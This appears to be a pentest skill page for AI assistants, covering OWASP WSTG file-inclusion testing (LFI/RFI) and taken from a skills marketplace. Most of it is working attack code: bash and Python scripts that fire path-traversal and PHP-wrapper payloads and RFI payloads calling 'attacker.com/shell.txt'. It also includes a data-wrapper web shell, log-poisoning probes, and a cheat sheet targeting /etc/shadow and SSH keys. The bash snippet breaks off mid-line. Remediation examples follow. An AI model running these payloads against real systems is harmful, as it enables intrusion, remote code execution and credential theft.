Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-11-1명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-inpv-11.1 |
| description | Testing for File Inclusion (LFI/RFI) |
| category | input-validation |
| owasp_id | WSTG-INPV-11.1 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-11.1
Testing for Local/Remote File Inclusion
File Inclusion vulnerabilities occur when applications dynamically include files based on user input. Local File Inclusion (LFI) allows reading files from the server, while Remote File Inclusion (RFI) allows including files from remote URLs, potentially leading to remote code execution.
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for File Inclusion..."
# LFI payloads
LFI_PAYLOADS=(
"../../../etc/passwd"
"....//....//....//etc/passwd"
"..%2F..%2F..%2Fetc%2Fpasswd"
"....\/....\/....\/etc/passwd"
"/etc/passwd"
"/etc/passwd%00"
"php://filter/convert.base64-encode/resource=/etc/passwd"
)
# Test LFI
for payload in "${LFI_PAYLOADS[@]}"; do
response=$(curl -s "$TARGET/page.php?file=$payload")
if echo "$response" | grep -q "root:"; then
curl -s
#!/usr/bin/env python3
"""
LFI/RFI Vulnerability Tester
"""
import requests
import base64
import re
from urllib.parse import quote
class FileInclusionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
# LFI payloads
LFI_PAYLOADS = [
# Basic traversal
"../../../etc/passwd",
"..\\..\\..\\etc\\passwd",
"....//....//....//etc/passwd",
"..%2F..%2F..%2Fetc%2Fpasswd",
"..%252f..%252f..%252fetc%252fpasswd", # Double encoding
# Absolute path
"/etc/passwd",
"file:///etc/passwd",
# Null byte (older PHP)
"../../../etc/passwd%00",
"../../../etc/passwd\x00",
# Windows paths
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
# PHP wrappers
"php://filter/convert.base64-encode/resource=/etc/passwd",
"php://filter/read=string.rot13/resource=/etc/passwd",
"php://filter/convert.iconv.utf-8.utf-16/resource=/etc/passwd",
# Data wrapper
"data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==",
# Expect wrapper
"expect://id",
# Input wrapper
"php://input",
]
# RFI payloads
RFI_PAYLOADS = [
"http://attacker.com/shell.txt",
"https://attacker.com/shell.txt",
"ftp://attacker.com/shell.txt",
"//attacker.com/shell.txt",
"http://attacker.com/shell.txt%00",
]
def test_lfi(self, param='file'):
"""Test Local File Inclusion"""
print("\n[*] Testing Local File Inclusion...")
for payload in self.LFI_PAYLOADS:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
# Check for /etc/passwd content
if 'root:' in response.text or 'daemon:' in response.text:
print(f"[VULN] LFI - Direct file read!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'LFI - Direct Read',
'payload': payload,
'severity': 'High'
})
return True
# Check for base64 encoded content
if 'php://filter' in payload:
b64_match = re.search(r'[A-Za-z0-9+/=]{50,}', response.text)
if b64_match:
try:
decoded = base64.b64decode(b64_match.group())
if b'root:' in decoded or b'<?php' in decoded:
print(f"[VULN] LFI via PHP wrapper!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'LFI - PHP Wrapper',
'payload': payload,
'severity': 'High'
})
return True
except:
pass
# Check for Windows hosts file
if '127.0.0.1' in response.text and 'localhost' in response.text:
print(f"[VULN] LFI - Windows file read!")
self.findings.append({
'type': 'LFI - Windows',
'payload': payload,
'severity': 'High'
})
return True
except Exception as e:
pass
return False
def test_rfi(self, param='file'):
"""Test Remote File Inclusion"""
print("\n[*] Testing Remote File Inclusion...")
for payload in self.RFI_PAYLOADS:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
# RFI is harder to detect without a callback server
# Check for remote inclusion errors or success
if response.status_code == 200:
print(f"[INFO] RFI payload accepted: {payload}")
print(f" Note: Check attacker server for callbacks")
self.findings.append({
'type': 'RFI - Potential',
'payload': payload,
'severity': 'Critical',
'note': 'Verify with callback server'
})
except Exception as e:
pass
return False
def test_log_poisoning(self, param='file'):
"""Test log file poisoning for RCE"""
print("\n[*] Testing Log Poisoning...")
log_files = [
'/var/log/apache2/access.log',
'/var/log/apache2/error.log',
'/var/log/nginx/access.log',
'/var/log/nginx/error.log',
'/var/log/httpd/access_log',
'/proc/self/fd/0',
'/proc/self/environ',
]
for log_file in log_files:
payload = f"../../../..{log_file}"
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check if log content is included
if 'GET ' in response.text or 'HTTP/' in response.text:
print(f"[VULN] Log file accessible: {log_file}")
print(f" Log poisoning may be possible!")
self.findings.append({
'type': 'Log Poisoning Potential',
'log_file': log_file,
'severity': 'High'
})
except Exception as e:
pass
def test_php_wrappers(self, param='file'):
"""Test PHP wrapper exploitation"""
print("\n[*] Testing PHP wrappers...")
wrappers = [
# Base64 encode source
('php://filter/convert.base64-encode/resource=index.php', 'source'),
('php://filter/convert.base64-encode/resource=config.php', 'config'),
# Data wrapper for RCE
('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==', 'phpinfo'),
('data://text/plain,<?php system($_GET["cmd"]); ?>', 'shell'),
# Expect wrapper for RCE
('expect://id', 'expect'),
]
for wrapper, desc in wrappers:
try:
response = self.session.get(
self.url,
params={param: wrapper}
)
if 'base64' in wrapper:
b64_match = re.search(r'[A-Za-z0-9+/=]{30,}', response.text)
if b64_match:
print(f"[VULN] PHP wrapper works: {desc}")
self.findings.append({
'type': f'PHP Wrapper - {desc}',
'payload': wrapper,
'severity': 'High'
})
if 'phpinfo' in response.text.lower() or 'PHP Version' in response.text:
print(f"[VULN] Code execution via data wrapper!")
self.findings.append({
'type': 'RCE via Data Wrapper',
'payload': wrapper,
'severity': 'Critical'
})
except Exception as e:
pass
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("FILE INCLUSION REPORT")
print("="*60)
if not self.findings:
print("\nNo file inclusion vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
if 'payload' in f:
print(f" Payload: {f['payload'][:60]}")
if 'note' in f:
print(f" Note: {f['note']}")
def run_tests(self, param='file'):
"""Run all file inclusion tests"""
self.test_lfi(param)
self.test_rfi(param)
self.test_php_wrappers(param)
self.test_log_poisoning(param)
self.generate_report()
# Usage
tester = FileInclusionTester("https://target.com/page.php")
tester.run_tests()
# LFI Traversal Variants
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..././..././..././etc/passwd
..%c0%af..%c0%af..%c0%afetc/passwd
# PHP Wrappers
php://filter/convert.base64-encode/resource=[file]
php://filter/read=string.rot13/resource=[file]
php://input (POST body as PHP)
data://text/plain;base64,[base64_code]
expect://[command]
zip://[zip_file]#[internal_file]
phar://[phar_file]/[internal_file]
# Common Sensitive Files (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log
/var/log/nginx/error.log
~/.bash_history
~/.ssh/id_rsa
# Common Sensitive Files (Windows)
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\logs\access.log
C:\inetpub\logs\LogFiles\W3SVC1\
| Tool | Purpose |
|---|---|
| LFISuite | Automated LFI exploitation |
| Burp Suite | Manual testing |
| fimap | LFI/RFI scanner |
| kadimus | LFI scanner |
<?php
// PHP - Use allowlists and avoid dynamic includes
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include("pages/{$page}.php");
} else {
include("pages/404.php");
}
// Never include user input directly
// VULNERABLE: include($_GET['file']);
// VULNERABLE: include("pages/" . $_GET['file'] . ".php");
?>
# Python - Safe file access
import os
ALLOWED_DIR = '/var/www/app/templates/'
def safe_include(filename):
# Normalize path
requested_path = os.path.normpath(
os.path.join(ALLOWED_DIR, filename)
)
# Verify path is within allowed directory
if not requested_path.startswith(ALLOWED_DIR):
raise ValueError("Invalid path")
# Verify file exists
if not os.path.isfile(requested_path):
raise FileNotFoundError("File not found")
return requested_path
| Finding | CVSS | Severity |
|---|---|---|
| RFI to RCE | 9.8 | Critical |
| LFI with PHP wrappers | 8.6 | High |
| LFI sensitive file read | 7.5 | High |
| Log poisoning to RCE | 9.1 | Critical |
| CWE ID | Title |
|---|---|
| CWE-98 | Improper Control of Filename for Include/Require |
[ ] LFI traversal tested
[ ] Multiple encodings tested
[ ] PHP wrappers tested
[ ] RFI tested
[ ] Log poisoning tested
[ ] Null byte tested
[ ] Findings documented